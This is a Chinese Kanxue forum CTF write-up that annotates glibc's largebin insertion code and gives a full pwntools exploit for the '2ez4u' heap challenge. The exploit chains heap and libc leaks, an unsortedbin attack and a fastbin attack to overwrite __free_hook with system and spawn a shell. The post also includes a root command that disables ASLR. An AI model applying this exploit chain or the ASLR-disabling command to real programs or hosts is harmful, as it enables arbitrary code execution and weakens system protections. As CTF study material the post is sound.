本文为看雪论坛精华文章
看雪论坛作者ID:Nameless_a
if (in_largebin_range (size)) //判断是否属于largebin
{
victim_index = largebin_index (size); //寻找当前size在largebin中的
bck = bin_at (av, victim_index); //寻找main_arena
fwd = bck->fd;//size最大的chunk的地址
/* maintain large bins in sorted order */
if (fwd != bck) //如果表不为空
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask(bck->bk))//bck->bk是当前最小的chunk,如果size比它还小,那么直接插入到表尾
{
fwd = bck;//感觉这个不符合我自己的编码习惯,如果我写我肯定fwd=bck->fd,也好理解一些
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
//总的来说,就是链表的插入操作
}
else//如果不是最小,那就由小到大找到第一个比它小的插在它的前面
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;//如果说是已经存在相同大小的chunk,就纵向插入
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))//这个检查好像和unlink一样,都是检查fwd的指针有没有被恶意修改
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;//这里的bck是用来纵向插入的
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");//同样是纵向检查指针有没有被恶意修改
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;//如果表为空,那么指针自指
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;//不管到底有没有重复,都进行一次纵向链接,保证一些指针为NULL
sudo su
echo 0 > /proc/sys/kernel/randomize_va_space
struct apple{
int color;
int num;
int_64 value;
int index;
int_64 description;
}
这里的堆布局要注意几个点:
(1)用largebin leak的堆的末尾地址不能为'\x00'否则会触发截断
(2)两个地址连续的大堆块放入unsorted bin会触发合并
(3)delet的大堆块不能和chunk_top相连否则会与之合并
(4)伪造的堆块如果free,那么必须满足下下个堆块的size的preinsure==1(俺试出来的QAQ)
from pwn import *
from LibcSearcher import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
r=process('./2ez4u')
libc=ELF('./libc-2.23.so')
def z():
gdb.attach(r)
def cho(num):
r.sendlineafter("your choice: ",str(num))
def add(size,con):
cho(1)
r.recvuntil("color?(0:red, 1:green):")
r.sendline(str(0))
r.recvuntil("value?(0-999):")
r.sendline(str(0))
r.sendlineafter("num?(0-16):",str(0))
r.sendlineafter("description length?(1-1024):",str(size))
r.sendlineafter("description of the apple:",con)
def delet(idx):
cho(2)
r.sendlineafter("which?(0-15):",str(idx))
def edit(idx,con):
cho(3)
r.sendlineafter("which?(0-15):",str(idx))
r.recvuntil("color?(0:red, 1:green):")
r.sendline(str(0))
r.recvuntil("value?(0-999):")
r.sendline(str(0))
r.sendlineafter("num?(0-16):",str(0))
r.sendlineafter("description of the apple:",con)
def show(idx):
cho(4)
r.sendlineafter("which?(0-15):",str(idx))
add(0x60,'0'*0x60)#0
add(0x60,'1'*0x60)#1
add(0x60,'2'*0x60)#2
add(0x60,'3'*0x60)#3
add(0x60,'4'*0x60)#4
add(0x60,'5'*0x60)#5
add(0x3f0,'nameless')#6
add(0x60, '8'*0x60 )#7
add(0x3e0, '9'*0x1b0)#8
add(0x60, '9'*0x80 )#9
add(0x3f0, "nameless")#a
add(0x60-0x18, 'b'*0x30 )#b
add(0x60-0x18, 'c'*0x30 )#c
add(0x60-0x18, 'd'*0x30 )#d
##leak_heapadress
delet(0)
delet(8)
delet(0xa)
add(0x400,'nameless') #0
show(0xa)
r.recvuntil('description:')
heap=u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x790
log.success('heap:'+hex(heap))
##leak_libc
fake_chunk=heap+0x130
chunk1=heap+0xc10 #10
chunk2=heap+0x1b0 #3
target=heap+0xb0
pd=p64(0)*2+p64(0x411)+p64(target-0x18)+p64(target-0x10)+p64(chunk1)+p64(chunk2)
edit(2,pd)
edit(0xa,p64(fake_chunk))
edit(1,p64(0)+p64(fake_chunk))
pd=p64(0)*2+p64(0x421)+p64(0)*2+p64(fake_chunk)
edit(3,pd)
edit(6,'6'*0x218+p64(0x410)+p64(0x411))
delet(5)
delet(3)
add(0x3f0,'3'*56)
add(0x60,'nameless')
show(3)
libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3a43a8-(libc.sym['__libc_start_main']+240)
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
log.success('libcbase:'+hex(libcbase))
log.success('system:'+hex(system))
##unsortedbin attack
delet(3)
pd=p64(0)*2+p64(0x411)+p64(0)+p64(free_hook-0x48)
edit(2,pd)
add(0x3f0,'nameless')
##fastbin attack
pd=p64(0)+p64(0)+p64(0x71)
edit(2,pd)
edit(3,0x50*'a'+p64(0x431))
delet(3)
pd=p64(0)*2+p64(0x71)+p64(free_hook-0x3b)
edit(2,pd)
add(0x50,'/bin/sh\x00')
add(0x50,0x13*'a'+p64(system))
pd=p64(0)+p64(0)+p64(0x71)+'/bin/sh\x00'
edit(2,pd)
delet(3)
r.interactive()
看雪ID:Nameless_a
https://bbs.pediy.com/user-home-943085.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!